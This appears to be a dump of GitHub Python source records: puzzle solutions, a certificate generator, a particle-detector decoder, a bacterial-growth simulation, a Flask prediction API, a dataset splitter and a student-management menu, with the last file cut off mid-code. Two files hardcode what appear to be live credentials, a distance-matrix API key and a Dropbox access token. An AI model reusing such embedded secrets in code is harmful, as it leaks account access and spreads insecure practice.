+{"seq_id":"16469274227","text":"FILE_NAME = \"input.txt\"\nGAMMA = \"GAMMA\"\nEPSILON = \"EPSILON\"\n\ninput = open(FILE_NAME, \"r\")\nVECTOR_SIZE = len(input.readline()) - 1\n\ndef read_input():\n    open(FILE_NAME, \"r\")\n    return input.readlines()\n\nvalues = read_input()\n\ncounted_values =  [0] * VECTOR_SIZE\nXOR_MASK = '1' * VECTOR_SIZE\n\ndef count_bits(value):\n    for i in range(0, VECTOR_SIZE):\n        if value[i] == '1':\n            counted_values[i] = counted_values[i] + 1 \n\ndef calculate_gamma():\n    gamma = \"\"\n    for i in range (0, VECTOR_SIZE):\n        if counted_values[i] >= len(values)/2:\n            gamma = gamma + '1'\n        else:\n            gamma = gamma + '0'\n    return gamma\n\ndef calculate_epsilon(gamma):\n    return gamma ^ int(XOR_MASK,2)\n\ndef reset_bit_counter():\n    for i in range(0, VECTOR_SIZE):\n        counted_values[i] = 0\n\ndef count_all_vectors():\n    for value in values:\n        count_bits(value)\n\ndef eliminate_by_bit_criteria(i, criteria):\n    indexes_to_delete = []\n    for j in range(0,len(values)):\n        if criteria[i] != (values[j])[i]:\n            indexes_to_delete.append(j)\n\n    for k in range(len(indexes_to_delete)-1, -1, -1):\n        if(len(values) == 1):\n            break\n        del values[indexes_to_delete[k]]\n\ndef recount_and_eliminate(calculate_by):\n    while len(values) > 1:\n        for i in range(0, VECTOR_SIZE):\n            reset_bit_counter()\n            count_all_vectors()\n            gamma = calculate_gamma()\n            if(calculate_by == \"GAMMA\"):\n                criteria = gamma\n            else:\n                epsilon = calculate_epsilon(int(gamma,2))\n                criteria = str.zfill(str(bin(epsilon)).split('b')[1], VECTOR_SIZE)\n            eliminate_by_bit_criteria(i, criteria)\n\n\ncount_all_vectors()\ngamma = int(calculate_gamma(),2)\nprint(\"gamma \" + str(gamma))\nepsilon = calculate_epsilon(gamma)\nprint(\"epsilon \" + str(epsilon))\n# part one solution\nprint(gamma * epsilon)\n\nvalues = (open(FILE_NAME, \"r\")).readlines()\n\nrecount_and_eliminate(GAMMA)\noxygen = int(values[0],2)\nprint(\"oxy \" + str(oxygen))\n\nvalues = (open(FILE_NAME, \"r\")).readlines()\n\nrecount_and_eliminate(EPSILON)\nco2 = int(values[0], 2)\nprint(\"co2 \" + str(co2))\n\n# part two solution\nprint(oxygen*co2)","repo_name":"antebm/advent-of-code-2021","sub_path":"day03/binary_diagnostic.py","file_name":"binary_diagnostic.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"5467534638","text":"from PIL import Image, ImageDraw, ImageFont\r\nimport os\r\n\r\n# Open the PNG image file\r\nimage = Image.open('image/Participation.png')\r\n\r\n# Create a drawing object\r\ndraw = ImageDraw.Draw(image)\r\n\r\n# Define the font and size for the text\r\nfont = ImageFont.truetype('GreatVibes-Regular.ttf', 400)\r\n# Define the text to write on the image\r\ntext = input('Enter the name: ')\r\n\r\n# Calculate the size of the text\r\ntext_width, text_height = draw.textbbox((0, 0), text, font=font)[2:]\r\n\r\n# Calculate the position of the text\r\nx = (image.width - text_width) / 2\r\ny = 2300\r\n\r\n# Define the color of the text\r\ntext_color = (26, 53, 95)\r\n\r\n# Write the text on the image\r\ndraw.text((x, y), text, font=font, fill=text_color)\r\n\r\n# Save the modified image as a new PNG file with the user-provided name\r\noutput_file = f'image/{text}.png'\r\nimage.save(output_file)\r\n\r\n# Display the paths of the modified and original files\r\nprint(f'Image with text: {output_file}')\r\n\r\n","repo_name":"UsamaAslam711/Certificate-Generator","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"46611617193","text":"#@profile\ndef decode_event(data,i=0):\n    assert list(data[i:i+4])==[0xAA]*4\n    iev=sum(b<<(j*8) for j,b in enumerate(data[i+4:i+ 8]))\n    tev=sum(b<<(j*8) for j,b in enumerate(data[i+8:i+16]))\n    i+=4*4\n    hits=[]\n    if   data[i]&0xF0==0xE0: # chip empty frame\n         assert data[i+2]==0xFF\n         assert data[i+3]==0xFF\n         i+=4\n    elif data[i]&0xF0==0xA0: # chip header\n        i+=2\n        n=len(data)\n        reg=None\n        while i<n:\n            data0=data[i]\n            if   data0&0xC0==0x00: # data long\n                d=reg<<14|(data0&0x3F)<<8|data[i+1]\n                hits.append((d>>9&0x3FE|(d^d>>1)&0x1,d>>1&0x1FF))\n                data2=data[i+2]\n                d+=1\n                while data2:\n                    if data2&1:\n                        hits.append((d>>9&0x3FE|(d^d>>1)&0x1,d>>1&0x1FF))\n                    data2>>=1\n                    d+=1\n                i+=3\n            elif data0&0xC0==0x40: # data short\n                d=reg<<14|(data0&0x3F)<<8|data[i+1]\n                hits.append((d>>9&0x3FE|(d^d>>1)&0x1,d>>1&0x1FF))\n                i+=2\n            elif data0&0xE0==0xC0: # region header\n                reg=data0&0x1F\n                i+=1\n            elif data0&0xF0==0xB0: # chip trailer\n                i+=1\n                i=(i+3)//4*4\n                break\n            elif data0==0xFF:\n                i+=1\n            else:\n                raise ValueError('i=%d'%i)\n    else:\n        raise ValueError('i=%d'%i)\n    assert list(data[i:i+4])==[0xBB]*4\n    i+=4\n    return hits,iev,tev,i\ndef main(d):\n    nev=0\n    i=0\n    pbar=tqdm(total=len(d))\n    while i<len(d):\n        hits,iev,tev,j=decode_event(d,i)\n        pbar.update(j-i)\n        i=j\n        print(i,iev,tev,len(hits))\n        nev+=1\n    print('Decoded %d event(s)'%nev)\n\nif __name__=='__main__':\n    import sys\n    from tqdm import tqdm\n    with open(sys.argv[1],'rb') as f:\n        d=bytearray(f.read())\n        main(d)\n","repo_name":"nebula-c/KOMAC_Analysis","sub_path":"src/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3174602847","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\n\nfor tc in range(1, T+1):\n    N = int(input())\n\n    layers = []\n    for n in range(N):  # n 층\n        if n == 0:  # 첫번째 층엔 [1] 부여\n            layers.append([1])\n            continue\n        layer = [1] * (n + 1)\n        end = len(layer)\n        for idx in range(end):\n            if idx == 0 or idx == end - 1:  # 현재 n 층의 처음 idx 와 끝 idx 에 값 1 부여\n                layer[idx] = 1\n            else:\n                layer[idx] = layers[n - 1][idx - 1] + layers[n - 1][idx]  # 현재 값은 윗층 (현재 idx - 1) + (현재 idx)\n        layers.append(layer)  # 만들어 진 층을 layers 에 추가\n    answer = '\\n'.join([' '.join(map(str, layer)) for layer in layers])  # 2차원 리스트를 문자열로 변환\n\n    print(f'#{tc}\\n{answer}')","repo_name":"koreanjys/til","sub_path":"algorism/swea/2005_pascal/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42124764445","text":"import json\nimport graphviz\n\ndef load_data(file_path):\n    with open(file_path, 'r') as f:\n        json_data = json.load(f)\n\n    return json_data[\"block_attr_dict\"], json_data[\"edges\"]\n\ndef graphviz_show(block_attr_dict, edges, output_name, output_dir, type=None):\n    output_filename = output_name + (\"\" if type is None else f\".{type}\") + \".gv\"\n    f = graphviz.Digraph('finite_state_machine',\n                         filename=output_filename, encoding=\"utf-8\",\n                         format=\"pdf\")\n    f.attr(rankdir='DR')\n\n    f.attr('node', shape='box')\n    for key, value in block_attr_dict.items():\n        if(type == \"detail\"):\n            f.node(key, label=repr(value[\"text\"]).strip(\"'\"))\n        else:\n            f.node(key)\n    for edge in edges:\n        f.edge(edge[0], edge[1])\n\n    f.view(directory=output_dir)\n\ndef main(file_path, output_name, output_dir, type=None):\n\n    block_attr_dict, edges = load_data(file_path)\n\n    graphviz_show(block_attr_dict, edges, output_name, output_dir, type)","repo_name":"Coming98/MalwareTracer","sub_path":"analysis/tracer2graph/process/generate_graph.py","file_name":"generate_graph.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21619965057","text":"import requests\nfrom utils import *\n\nbase_url = \"https://api.distancematrix.ai/maps/api/distancematrix/json?key=FIAYfWw4aVdT1hR7nY6YWef4EWPSf&mode=walking\"\n\ndef get_distances():\n    res = []\n    for index, node in enumerate(NEIGHBORHOODS_GRAPH):\n        print(index)\n        origin_coord = NEIGHBORHOODS_INFORMATION[index][3]\n        neighbors=[]\n        for neighbor in node:\n            neighbor_coord = NEIGHBORHOODS_INFORMATION[neighbor[0] - 1][3]\n            url = f'{base_url}&origins={origin_coord}&destinations={neighbor_coord}'\n            response = requests.request(\"GET\", url)\n            json_response = response.json()\n            neighbors.append( (neighbor[0], json_response[\"rows\"][0][\"elements\"][0][\"distance\"][\"value\"]) )\n        res.append(neighbors)\n        print(res)\n    print(res)\n\nif __name__ == \"__main__\":\n    get_distances()\n","repo_name":"juanazadian/algevol","sub_path":"get_distances.py","file_name":"get_distances.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26767621694","text":"#\tINI Data merge tool\n#\tAuthor:\n#\t\tEvgeniy Vigovskiy aka Weegee\n#\n#\tVersion:\n#\t\t1.1\n#\n#\tUsage:\n#\t\tMerge all .INI file from the module into single file\t\n#\n#\t\tMergeDataModule.py <Cortex Command Data Dirctory><module.rte>\n#\n#\tExample:\n#\t\tMergeDataModule.py ..\\..\\Cortex-Command-Community-Project-Release Psyclones.rte\n#\n#\tWarning:\n#\t\tThis priimitive tool simply dumps all the contents of the ini files into single file to speed-up load times. \n#\t\tIt respects IncludeFile statetemnts and removes them from the output file.\n#\t\tIt's intended to use only for mod creators to speed up game loading time when they have to reload the game very often to test stuff.\n#\n\nimport sys\nimport os\n\ndef ParseFile(modpath, inifile, out, indent):\n\tprint(inifile)\n\t\n\tinput = open(os.path.join(modpath, inifile), 'r')\n\tlines = input.readlines()\n\t\n\tcurobject = dict()\n\t\n\tnextcommentmode = False\n\tcommentmode = False\n\t\n\tfor l in lines:\n\t\twriteline = True\n\t\n\t\t#Discard comments\n\t\tcmnts = l.split(\"//\")\n\t\tln = cmnts[0]\n\t\t\n\t\tcmnts = ln.split(\"/*\")\n\t\tln = cmnts[0]\n\t\tif len(cmnts) > 1:\n\t\t\tnextcommentmode = True\n\n\t\tcmnts = ln.split(\"*/\")\n\t\tif len(cmnts) > 1:\n\t\t\tln = cmnts[1]\n\t\t\tnextcommentmode = False\n\t\t\tcommentmode = False\n\n\t\tif not commentmode: \n\t\t\tv = ln.split(\"=\");\n\t\t\tt = list()\n\n\t\t\tfor i in range(0, len(v)):\n\t\t\t\tv[i] = v[i].strip()\n\t\t\t\n\t\t\tif len(v) > 1:\n\t\t\t\tv[0] = v[0].lower()\n\t\t\t\t\n\t\t\t\t#Parse included files\n\t\t\t\tif v[0] == \"includefile\":\n\t\t\t\t\tParseFile(modpath, v[1], out, True)\n\t\t\t\t\twriteline = False\n\n\t\tcommentmode = nextcommentmode\n\t\t\n\t\tif writeline:\n\t\t\tif indent:\n\t\t\t\tout.write(\"\\t\" + l);\n\t\t\telse:\n\t\t\t\tout.write(l);\n\n\tout.write(\"\\n\");\n\tinput.close()\n\nRootFolder = sys.argv[1]\nModName = sys.argv[2]\n\nOutputFile = os.path.join(RootFolder, ModName, \"MergedIndex.ini\");\n\nout = open(OutputFile, 'w')\n\nParseFile(RootFolder, os.path.join(ModName, \"Index.ini\"), out, False)\n\t\nout.close()","repo_name":"weegee720/Cortex-Command-Community-Project-Toolbox","sub_path":"Merger/MergeDataModule.py","file_name":"MergeDataModule.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1026799185","text":"\"\"\"\r\nСинтаксис\r\n\"\"\"\r\n\r\n# def foo(x):\r\n#     return x \r\n\r\n# foo(123)\r\n\r\n# a = 1\r\n# a = 'one'\r\n\r\n# foo = lambda x: x \r\n# foo = 1\r\n\r\n# foo(123)\r\n\r\n\"\"\"\r\nПримеры использования\r\n\"\"\"\r\n\r\n\"\"\"\r\nФункция, которая не храниться в памяти\r\n\"\"\"\r\n\r\n\r\n\r\n# print((lambda x: x + 1)(10))\r\n\r\n# def plusOne(x):\r\n#     return x + 1\r\n\r\n# if plusOne(int(input(': '))) == 11:\r\n#     print('ты ввел число 10 а я прибавил к нему один ! и получил 11')\r\n\r\n\"\"\"\r\nФункция, аргумент\r\n\"\"\"\r\n\r\ndef foo(num, func):\r\n    a = func(num)\r\n    return a\r\n\r\n\r\nIsNumberEven = foo(10, lambda x: x ** 2)\r\n\r\nprint(IsNumberEven)\r\n\r\n","repo_name":"gabrielbodrug/python","sub_path":"func/lamdba.py","file_name":"lamdba.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29085035238","text":"import sys\ninput = sys.stdin.readline\n\ndictionary = {}\nn = int(input())\nfor _ in range(n):\n  s = input().rstrip()\n  dictionary[s] = len(s)\n\nresult = list(sorted(dictionary.items(),key = lambda item: (item[1],item[0])))\n\nfor i in result:\n  print(i[0])","repo_name":"spaceOfSoul/baekjunSolve_python","sub_path":"1181.py","file_name":"1181.py","file_ext":"py","file_size_in_byte":250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1366417131","text":"from django.shortcuts import render, get_object_or_404\nfrom customers .models import Customer\nfrom products .models import Product, Category, Colour, Size, Material\nfrom sales .models import Sale, SaleItem\nfrom main .models import Brand\nfrom django.contrib.auth.decorators import login_required\n\n\n@login_required\ndef admin_index(request):\n    template_name = 'app/index.html'\n    context = {\n        \"is_admin_index\" : True,\n    }\n    return render(request,template_name,context)\n\n\ndef customers_view(request):\n    customers = Customer.objects.filter(is_active=True) \n    template_name = 'app/customers-view.html'\n    context = {\n        \"is_customers_view\" : True,\n        \"customers\" : customers,\n    }\n    return render(request,template_name,context)\n\n\ndef products_view(request):\n    products = Product.objects.filter(is_active=True)\n    template_name = 'app/products-view.html'\n    context = {\n        \"is_products_view\" : True,\n        \"products\" : products,\n    }\n    return render(request,template_name,context)\n\n\ndef sales_list(request):\n    sales_list = Sale.objects.filter(is_active=True) \n    template_name = 'app/sales-list.html'\n    context = {\n        \"is_sale_list\" : True,\n        \"sales_list\" : sales_list,\n    }\n    return render((request), template_name, context)\n\ndef category_view(request):\n    categories = Category.objects.filter(is_active=True)\n    template_name = 'app/category-view.html'\n    context = {\n        \"is_context_view\" : True,\n        \"categories\" : categories,\n    }\n    return render(request,template_name,context)\n\ndef sale_view(request,pk):\n    sale_view = get_object_or_404(Sale,pk=pk)\n    template_name = 'app/sales-view.html'\n    context = {\n        \"is_sale_view\" : True,\n        \"sale_view\" : sale_view,\n    }\n    return render((request), template_name, context)\n\n\ndef brands_view(request):\n    brands = Brand.objects.filter(is_active=True)\n    template_name = 'app/brands-view.html'\n    context = {\n        \"is_brands_view\" : True,\n        \"brands\" : brands,\n    }\n    return render(request,template_name,context)\n\n\ndef colors_view(request):\n    colors = Colour.objects.filter(is_active=True)\n    template_name = 'app/colors-view.html'\n    context = {\n        \"is_colors_view\" : True,\n        \"colors\" : colors,\n    }\n    return render(request,template_name,context)\n\n\ndef sizes_view(request):\n    sizes = Size.objects.filter(is_active=True)\n\n    template_name = 'app/size-view.html'\n    context = {\n        \"is_sizes_view\" : True,\n        \"sizes\" : sizes,\n    }\n    return render(request,template_name,context)\n\n\ndef material_view(request):\n    materials = Material.objects.filter(is_active=True)\n\n    template_name = 'app/material-view.html'\n    context = {\n        \"is_material_view\" : True,\n        \"materials\" : materials,\n    }\n    return render(request,template_name,context)\n\n","repo_name":"Ajmal-AJ/ecommerce","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30609420577","text":"import csv\n\n#get user data\ndef retrieve_user_data():\n\tuser_data = []\n\twith open('users.csv', 'r') as f:\n\t\treader = csv.reader(f)\n\t\tfor row in reader:\n\t\t\tuser_data.append(row)\n\tuser_data.pop(0)\n\treturn user_data\n\n#get blockchain data\ndef retrieve_block_data():\n\tblock_data = []\n\twith open('block.csv', 'r') as f:\n\t\treader = csv.reader(f)\n\t\tfor row in reader:\n\t\t\tblock_data.append(row)\n\treturn block_data\n\n#write new user data into record\ndef write_user_data(s):\n\twith open('users.csv', 'w') as csvfile:\n\t\tfilewriter = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n\t\tfor i in s:\n\t\t\tfilewriter.writerow(i)\n\n#write new blockchain data into record\ndef write_block_data(s):\n\twith open('block.csv', 'w') as csvfile:\n\t\tfilewriter = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n\t\tfor i in s:\n\t\t\tfilewriter.writerow(i)\n\n#clean all the data in the file\ndef cleandata():\n\twith open('users.csv', 'w') as csvfile:\n\t\tfilewriter = csv.writer(csvfile, delimiter=',', quotechar='|', quoting=csv.QUOTE_MINIMAL)\n\t\tfilewriter.writerow([])\n","repo_name":"kevinyang372/Odera","sub_path":"create_user.py","file_name":"create_user.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"77"}
+{"seq_id":"5743671252","text":"import warnings\nwarnings.filterwarnings('ignore')\nimport numpy as np\nimport pandas as pd\nimport pickle\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\n\nprint(\"\\nWelcome to the ultra cool bacterial dynamics simulator \\n\")\n\n# Solving the differential equation\ndef solve_model(rho, S, x_min, x_max, n, D_s, D_b, chi, r, k, lambd, t_c, x_l, q, beta):\n    # Defining the step in space and time\n    dx = (x_max - x_min)/n\n    dt = dx**2 / (64*D_b)\n    # print(dt)\n    # print(t_c/dt)\n    # Defining space\n    x = np.linspace(x_min, x_max, n)\n    # Array of derivatives\n    drhodt = np.empty(n)\n    dSdt = np.empty(n)\n    # Defining time\n    #t = np.arange(0, t_max, dt)\n    \n    # Array of solutions for density and concentration\n    rhos = [rho]\n    Ss = [S]\n    tot_rho = [np.sum(rho*dx), np.sum(rho*dx)]\n    tot_S = [np.sum(S*dx)]\n    \n    #Dirac delta function\n    dirac = np.zeros(n)\n    dirac[int(x_l/dx)] = 1\n    \n    gamma = r/k\n    \n    # Loop in time\n    i = 0\n    while i < 2000000:\n        # if i % 1000 == 0:\n        #     print(f\"{i+1}/2000000. Substance is released in i = {int(t_c/dt)}\", end = \"\\r\")\n        if np.abs(tot_rho[-1] - tot_rho[-2]) < 1e-7 and dt*i > 1.1*t_c:\n            break\n        i += 1\n    #for i in range(len(t)):\n        # Loop in space\n        if dt*i < t_c:\n            q_eff = 0\n        else:\n            q_eff = q\n        S[n-1] = S[n-2]\n        S[0] = S[1]\n        rho[0] = D_b*rho[1]/(chi*(S[1] - S[0]) + D_b)\n        rho[n-1] = D_b*rho[n-2]/(chi*(S[n-1] - S[n-2]) + D_b)\n        for j in range(1,n-1):\n            # Substance diffusion and degradetion\n            dSdt[j] = D_s*((S[j+1] - S[j])/dx**2 - (S[j]-S[j-1])/dx**2) - lambd*S[j]*rho[j] + q_eff*dirac[j]\n            # Chemotaxis\n            chem = chi*(((rho[j+1] - rho[j-1])*(S[j+1] - S[j-1])/(4*dx**2)) + rho[j]*((S[j+1] - 2*S[j] + S[j-1])/dx**2))\n            # Growth\n            growth = r*rho[j]\n            # Competition\n            competition = gamma*rho[j]**2\n            # Death by consumption\n            death = lambd*beta*rho[j]*S[j]\n            # Bacterial equation\n            drhodt[j] = D_b*((rho[j+1] - rho[j])/dx**2 - (rho[j]-rho[j-1])/dx**2) + chem + growth - competition - death\n        rho = rho + drhodt*dt\n        S = S + dSdt*dt\n\n        rhos.append(rho)\n        Ss.append(S)\n        tot_rho.append(np.sum(rho*dx))\n        tot_S.append(np.sum(S*dx))\n    return rhos, Ss, tot_rho, tot_S, i, dx\n\nn = 100\ncenter = 0\nsd = 0.4\nr = 0.05\nk = 0.8\nchi = 0.05\ngamma = r/k\nlambd = 0.03\nq = 0.6\nbeta = 0.5\n\nD_b = 1e-2\nD_s = 5e-2\n#t_final = 2200\nt_c = 200\n\n# Initial condition\nS = np.zeros(n)\nrho = np.random.uniform(0.05, 0.1, n)\n\nx_max = np.arange(1, 30, 0.5)\nq_s = np.arange(0.05, 1, 0.05)\n\ntot_rho_final = np.zeros((len(x_max), len(q_s)))\nn = 100\nfinal_profile_rho = {}\nfinal_profile_S = {}\ntot_rho_profile = {}\n\nprint('\\nReady to run simulations. Varying L and q \\n')\n\n#rhos, Ss, tot_rho, tot_S, idx, dx = solve_model(rho, S, 0, 10, n, D_s, D_b, chi, r, k, lambd, t_c, 5, 0.6, beta)\n\nfor i in range(len(x_max)):\n    for j in range(len(q_s)):\n        dx = 0.1\n        \n        n = int(x_max[i]/dx)\n\n        print(f\"Run {i+1} of {len(x_max)} - Size: {x_max[i]} - Total steps: {n}\", end = \"\\r\")\n\n        S = np.zeros(n)\n\n        dt = dx**2 / (64*D_b)\n\n        # Create the space\n        x = np.arange(0, x_max[i], dx)\n\n        # S[50] = 5\n        rho = np.random.uniform(0.05, 0.1, n)\n        rhos, Ss, tot_rho, tot_S, idx, dx = solve_model(rho, S, 0, x_max[i], n, D_s, D_b, chi, r, k, lambd, t_c, x_max[i]/2, q_s[j], beta)\n        rhos = np.array(rhos)\n        Ss = np.array(Ss)\n        if (rhos < 0).any() == False:\n            tot_rho_final[i,j] = tot_rho[-1]\n            final_profile_rho[f\"{x_max[i]:.2f} - {q_s[j]:.2f}\"] = rhos[-1]\n            final_profile_S[f\"{x_max[i]:.2f} - {q_s[j]:.2f}\"] = Ss[-1]\n            tot_rho_profile[f\"{x_max[i]:.2f} - {q_s[j]:.2f}\"] = tot_rho\n        else:\n            print(f\"There was an error. x_max = {x_max[i]:1f}\")\n            tot_rho_final[i,j] = np.nan\n            final_profile_rho[f\"{x_max[i]:.2f} - {q_s[j]:.2f}\"] = np.nan\n            final_profile_S[f\"{x_max[i]:.2f} - {q_s[j]:.2f}\"] = np.nan\n            tot_rho_profile[f\"{x_max[i]:.2f} - {q_s[j]:.2f}\"] = np.nan\n\nprint(\"Simulations done! \\n\")\n\ntry:\n    pd.DataFrame(final_profile_rho).to_csv('final_rho_profile_varying_L-q.csv')\n    pd.DataFrame(final_profile_S).to_csv('final_S_profile_varying_L-q.csv')\n    pd.DataFrame(tot_rho_profile).to_csv('temporal_N_profile_varying_L-q.csv')\nexcept:\n    print('Could not save files as DataFrames, saving using Pickle instead')\n    with open('final_rho_profile_varying_L-q.pkl', \"wb\") as fp:\n        pickle.dump(final_profile_rho, fp)\n    with open('final_S_profile_varying_L-q.pkl', \"wb\") as fp:\n        pickle.dump(final_profile_S, fp)\n    with open('temporal_N_profile_varying_L-q.pkl', \"wb\") as fp:\n        pickle.dump(tot_rho_profile, fp)\n\nnp.savetxt('final_population_varying_L-q.txt', tot_rho_final)\n\nprint('DONE! :)')\n","repo_name":"henauts/QECO","sub_path":"Codes/bacterial_model_v1_verify_L-q.py","file_name":"bacterial_model_v1_verify_L-q.py","file_ext":"py","file_size_in_byte":4984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28556872500","text":"from flask import Flask, request, jsonify\nimport pandas as pd\nimport requests\nimport os\nfrom os.path import exists\nimport io\nimport dropbox\nimport joblib\n\napp = Flask(__name__)\n\nmodel_path = 'model'\n\ndbx = dropbox.Dropbox('sl.BN0iICVUKpTKadJ3SPGjAgdxDe1LX0C2yILam1-C-7_yB_84NlvwPRt7GHwSK28bmnnVRzgqDLRILx3mX5B3IgaoE59C9geJoLWvZiUXReD6AazCGfbVtyiE9rbeH0Il2dzwo-E')\n\nif not os.path.isdir(model_path):\n\tos.makedirs(model_path)\n\n\ndef get_pipeline():  # Load pipeline\n\tpath = model_path+'/pipeline.joblib'\n\tif not exists(path):\n\t\tprint(path, 'does not exist')\n\t\tfilename = \"/pipeline.joblib\"\n\t\ts, r = dbx.files_download(filename)\n\t\twith open(model_path+'/pipeline.joblib', 'wb') as f:\n\t\t\tf.write(r.content)\n\tpipeline = joblib.load(model_path+'/pipeline.joblib')\n\treturn pipeline\n\n\npipeline = get_pipeline()\n\n\n@app.route('/api/predict', methods=['POST'])\ndef predict():\n\tdata = request.data\n\tio_val = io.StringIO(data.decode('utf-8'))\n\tdf = pd.read_csv(io_val, index_col=[0])\n\treturn jsonify(\n\t\t{'prediction': pipeline.predict_proba(df)[0].tolist()})\n\n\n@app.route(\"/\")\ndef home_view():\n\treturn \"<h1>Hello World!</h1>\"\n","repo_name":"DamienDous/scoringmodelflaskapi","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"13687079744","text":"import collections\nimport os\nimport random\n\nfrom .utils import filter_dict_by_iqr\n\n\nBASE_DIR = os.path.dirname(__file__)\n\n\nclass Trimmer:\n    def __init__(self, path):\n        self._datasets_path = path\n        self._females = collections.defaultdict(int)\n        self._males = collections.defaultdict(int)\n        self._load_users_stats()\n\n    def remove_outliers(self):\n        \"\"\"\n        Remove outlier users (users with too many or few tweets).\n        \"\"\"\n        print('Removing outliers')\n        self._females = filter_dict_by_iqr(self._females)\n        self._males = filter_dict_by_iqr(self._males)\n\n    def split_datasets(self, training_set_percentage):\n        \"\"\"\n        Splits both datasets (females.tsv and males.tsv) into training and test datasets.\n\n        Params:\n            training_set_percentage (float): Percentage of tweets that should go to training dataset.\n        \"\"\"\n        print('Trimming datasets')\n        self._split_dataset(self._females, os.path.join(self._datasets_path, 'females.tsv'), training_set_percentage)\n        self._split_dataset(self._males, os.path.join(self._datasets_path, 'males.tsv'), training_set_percentage)\n        os.remove(os.path.join(self._datasets_path, 'females.tsv'))\n        os.remove(os.path.join(self._datasets_path, 'males.tsv'))\n\n    def _load_users_stats(self):\n        \"\"\"\n        Load user stats from generated datasets.\n        \"\"\"\n        with open(os.path.join(self._datasets_path, 'females.tsv'), 'r', encoding='utf-8') as file:\n            for line in file:\n                self._females[line.split('\\t')[0]] += 1\n\n        with open(os.path.join(self._datasets_path, 'males.tsv'), 'r', encoding='utf-8') as file:\n            for line in file:\n                self._males[line.split('\\t')[0]] += 1\n\n    def _split_dataset(self, users, dataset, training_set_percentage):\n        \"\"\"\n        Split a dataset into training and test datasets.\n\n        Params:\n            users (dict): Valid users for the dataset with tweets count as values.\n            dataset (string): Path to dataset to split.\n            training_set_percentage (float): Percentage of tweets that should go to training dataset.\n        \"\"\"\n        total_tweets = sum(list(users.values()))\n        training_indexes = set(random.sample(range(total_tweets), int(total_tweets * training_set_percentage)))\n\n        valid_tweets_processed = 0\n        with open(dataset, 'r', encoding='utf-8') as file,\\\n                open(dataset.replace('.tsv', '-training.tsv'), 'w+', encoding='utf-8') as training_file,\\\n                open(dataset.replace('.tsv', '-test.tsv'), 'w+', encoding='utf-8') as test_file:\n            for line in file:\n                if line.split('\\t')[0] in users:\n                    if valid_tweets_processed in training_indexes:\n                        training_file.write(line)\n                    else:\n                        test_file.write(line)\n                    valid_tweets_processed += 1","repo_name":"davidmogar/lexgen","sub_path":"lexgen/trimmer.py","file_name":"trimmer.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"42978823300","text":"# 作   者 ：王建设\n# 开发时间 ：2022/8/9 21:01\nimport os\nfilename = 'student.txt'\ndef main():\n    while True:\n        menu()\n        choice = int(input('请选择'))\n        if choice in range(8):\n            if choice ==0:\n                answer = input('您确定要退出系统吗？y/n')\n                if answer=='y' or answer =='Y':\n                    print('谢谢您的使用!!!')\n                    break\n                else:\n                    continue\n            elif choice == 1:\n                insert()\n            elif choice == 2:\n                search()\n            elif choice == 3:\n                delete()\n            elif choice ==4:\n                modify()\n            elif choice ==5:\n                sort()\n            elif choice ==6:\n                tital()\n            elif choice == 7:\n                show()\n\ndef menu():\n    print(\"==================学生管理系统=================\")\n    print('--------------------功能菜单-----------------')\n    print('\\t\\t\\t\\t\\t\\t1.录入学生信息')\n    print('\\t\\t\\t\\t\\t\\t2.查找学生信息')\n    print('\\t\\t\\t\\t\\t\\t3.删除学生信息')\n    print('\\t\\t\\t\\t\\t\\t4.修改学生信息')\n    print('\\t\\t\\t\\t\\t\\t5.排序')\n    print('\\t\\t\\t\\t\\t\\t6.统计学生总人数')\n    print('\\t\\t\\t\\t\\t\\t7.显示所有学生信息')\n    print('\\t\\t\\t\\t\\t\\t0.退出')\n    print('------------------------------------------')\n\ndef insert():\n    student_list=[]\n    while True:\n        id = input('请输入ID（如1001）：')\n        if not id:\n            break\n        name = input('请输入姓名')\n        if not name:\n            break\n\n        try:\n            english = int(input('请输入英语成绩'))\n            python = int(input(\"请输入python成绩\"))\n            java = int(input('请输入Java成绩'))\n        except:\n            print(\"输入无效，请重新输入\")\n            continue\n\n        #将录入的学生信息保存到字典中\n        student = {'id':id,'name':name,'english':english,'python':python,'java':java}\n        #将学生信息添加到列表中\n        student_list.append(student)\n        anwser = input('是否继续添加？y/n\\n')\n        if anwser == 'y' or anwser =='Y':\n            